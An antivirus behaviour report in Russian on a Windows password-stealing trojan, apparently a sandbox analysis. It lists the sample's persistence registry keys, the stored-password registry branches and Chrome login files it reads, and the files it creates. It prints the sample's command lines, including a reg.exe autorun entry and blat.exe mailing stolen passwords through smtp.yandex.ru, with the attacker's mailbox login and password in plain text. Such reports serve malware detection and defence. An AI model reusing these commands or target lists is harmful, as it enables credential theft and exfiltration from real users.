Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Windows Host Control' = '<SYSTEM32>\sysgrab\svchost.exe'
- [HKLM\Software\Classes\mprf\shell\open\command] '' = '%TEMP%\95C9.tmp\MPR.exe "%1"'
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\block_reader] 'ImagePath' = '%TEMP%\95C9.tmp\block_reader.sys'
Создает следующие сервисы
- 'block_reader' %TEMP%\95C9.tmp\\block_reader.sys
- 'block_reader' %TEMP%\95C9.tmp\block_reader.sys
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /F /IM explorer.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\explorer.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [HKCU\Software\RimArts\B2\Settings]
- [HKCU\Software\VanDyke\SecureFX]
- [HKCU\Software\FTP Explorer\Profiles]
- [HKCU\Software\FTPWare\COREFTP\Sites]
- [HKCU\Software\CoffeeCup Software\Internet\Profiles]
- [HKCU\Software\Sota\FFFTP\Options]
- [HKCU\Software\TurboFTP]
- [HKCU\Software\Cryer\WebSitePublisher]
- [HKCU\Software\BPFTP]
- [HKCU\Software\BPFTP\Bullet Proof FTP\Options]
- [HKCU\Software\BulletProof Software\BulletProof FTP Client\Main]
- [HKCU\Software\BPFTP\Bullet Proof FTP\Main]
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Deluxe]
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Deluxe]
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander]
- [HKCU\Software\BulletProof Software\BulletProof FTP Client\Options]
- [HKCU\Software\ExpanDrive\Sessions]
- [HKCU\Software\NCH Software\ClassicFTP\FTPAccounts]
- [HKLM\SOFTWARE\Wow6432Node\NCH Software\Fling\Accounts]
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [HKCU\Software\AIM\AIMPro]
- [HKCU\Software\Paltalk]
- [HKCU\Software\Google\Google Talk\Accounts]
- [HKCU\Software\America Online\AIM6\Passwords]
- [HKCU\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
- [HKCU\Software\Yahoo\Pager]
- [HKCU\Software\Microsoft\MSNMessenger]
- [HKCU\SOFTWARE\Mirabilis\ICQ\NewOwners]
- [HKLM\SOFTWARE\Miranda]
- [HKLM\SOFTWARE\Wow6432Node\Miranda]
- [HKCU\Software\South River Technologies\WebDrive\Connections]
- [HKCU\Software\Martin Prikryl\WinSCP 2\Sessions]
- [HKCU\Software\SoftX.org\FTPClient\Sites]
- [HKCU\Software\FTPClient\Sites]
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander]
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Navigator]
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro]
- [HKCU\Software\Ghisler\Windows Commander]
- [HKCU\Software\Far2\SavedDialogHistory\FTPHost]
- [HKCU\Software\Far\SavedDialogHistory\FTPHost]
- [HKCU\SOFTWARE\Far2\Plugins\FTP\Hosts]
- [HKCU\SOFTWARE\Far\Plugins\FTP\Hosts]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [HKCU\Software\Ghisler\Total Commander]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings]
- [HKLM\Software\Microsoft\Internet Account Manager]
- [HKLM\Software\Wow6432Node\Microsoft\Internet Account Manager]
- [HKCU\Identities\{1BC91121-7903-48EE-BF78-1BC7CA4B5761}\Software\Microsoft\Internet Account Manager\Accounts]
- [HKCU\Software\Microsoft\Internet Account Manager\Accounts]
- [HKCU\SOFTWARE\RIT\The Bat!\Users depot]
- [HKCU\SOFTWARE\RIT\The Bat!]
- [HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [HKLM\Software\Wow6432Node\Ghisler\Windows Commander]
- [HKLM\Software\Ghisler\Windows Commander]
- [HKLM\Software\Wow6432Node\Ghisler\Total Commander]
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro]
- [HKCU\Software\FileZilla]
- [HKLM\Software\FlashFXP]
- [HKLM\Software\Wow6432Node\FlashFXP]
- [HKLM\Software\FlashFXP\3]
- [HKLM\Software\Wow6432Node\FlashFXP\3]
- [HKCU\Software\FlashFXP]
- [HKCU\Software\FlashFXP\3]
- [HKCU\Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar]
- [HKCU\Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar]
- [HKCU\Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar]
- [HKCU\Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar]
- [HKCU\Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar]
- [HKCU\Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar]
- [HKLM\Software\Ghisler\Total Commander]
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FTP Navigator]
- [HKCU\Software\ORL\WinVNC3]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\95c9.tmp\grab_install.bat
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\zmuktniv\pic_info[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\i3nmat9z\pic_f1[1]
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\pic_f2[1]
- %WINDIR%\temp\udd27bb.tmp
- nul
- %TEMP%\95c9.tmp\mpr.ini
- %TEMP%\95c9.tmp\mpr.exe
- %TEMP%\95c9.tmp\hooklib.dll
- %TEMP%\95c9.tmp\block_reader.sys
- %TEMP%\95c9.tmp\blat.lib
- %TEMP%\95c9.tmp\blat.exe
- %TEMP%\95c9.tmp\blat.dll
- %TEMP%\ba59.tmp\svchost.bat
- %WINDIR%\syswow64\sysgrab\svchost.exe
- %TEMP%\95c9.tmp\svchost.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\ea09503g\pic_stop[1]
- %TEMP%\95c9.tmp\sav_eakopceujwol_2.12.2024_4-32-16_pm.mpf
Удаляет следующие файлы
- %TEMP%\95c9.tmp\svchost.exe
- %TEMP%\95c9.tmp\grab_install.bat
- %WINDIR%\temp\udd27bb.tmp
- %WINDIR%\syswow64\sysgrab\svchost.exe
- %TEMP%\ba59.tmp\svchost.bat
Перемещает следующие файлы
- %TEMP%\95c9.tmp\sav_eakopceujwol_2.12.2024_4-32-16_pm.mpf в %TEMP%\95c9.tmp\grab.mpf
Сетевая активность
Подключается к
- 'smtp.yandex.ru':587
TCP
Другие
- 'smtp.yandex.ru':587
UDP
- DNS ASK ya.ru
- DNS ASK smtp.yandex.ru
- DNS ASK yandex.ru
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'TMainMPRForm' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\sysgrab\svchost.exe'
- '%TEMP%\95c9.tmp\blat.exe' -install -server smtp.yandex.ru -port 587 -f safronovoleg123@yandex.ru -u safronovoleg123 -pw safronov555
- '%TEMP%\95c9.tmp\mpr.exe' /export
- '%TEMP%\95c9.tmp\blat.exe' -body PassReg -to safronovoleg123@yandex.ru -attach grab.mpf
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\95C9.tmp\Grab_install.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\BA59.tmp\svchost.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\95C9.tmp\Grab_install.bat" "
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "Windows Host Control" /t REG_SZ /d "<SYSTEM32>\sysgrab\svchost.exe"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\BA59.tmp\svchost.bat" "
- '%WINDIR%\syswow64\ping.exe' ya.ru -n 5
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\syswow64\reg.exe' delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "Windows Host Control" /f
